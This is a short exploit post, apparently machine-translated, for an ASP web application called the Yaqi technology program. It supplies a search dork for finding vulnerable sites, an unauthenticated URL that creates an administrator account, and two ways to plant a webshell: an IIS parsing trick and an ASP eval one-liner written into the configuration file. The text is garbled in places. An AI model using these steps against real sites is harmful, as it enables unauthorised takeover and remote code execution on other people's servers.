Yaqi technology program 0day

Author: Sniff3rlan3a Keyword: inurl: ShowInfo. asp? After finding the website in ShowId, add adminUser_Manage.asp? Add actionUserAdd to add an administrator, and then log on with the added account. AdminYqlogin. aspadminadmin_main.asp has two Webshell methods in the background. 1. In

Author: Sniff3r & lan3a

Keyword: inurl: ShowInfo. asp? ShowId =

Find the website and add admin/User_Manage.asp? Action = UserADd

Add an administrator, and then log on with the added account.
/Admin/Yqlogin. asp
/Admin/admin_main.asp

There are two methods to use Webshell in the background.

1. Add 1.aspin to the upload directory to exploit the IIS Parsing Vulnerability.
2. Write in the upload directory
"%> <%EvalRequest ("a") %> <%'
Then access the configuration file INc/Config. asp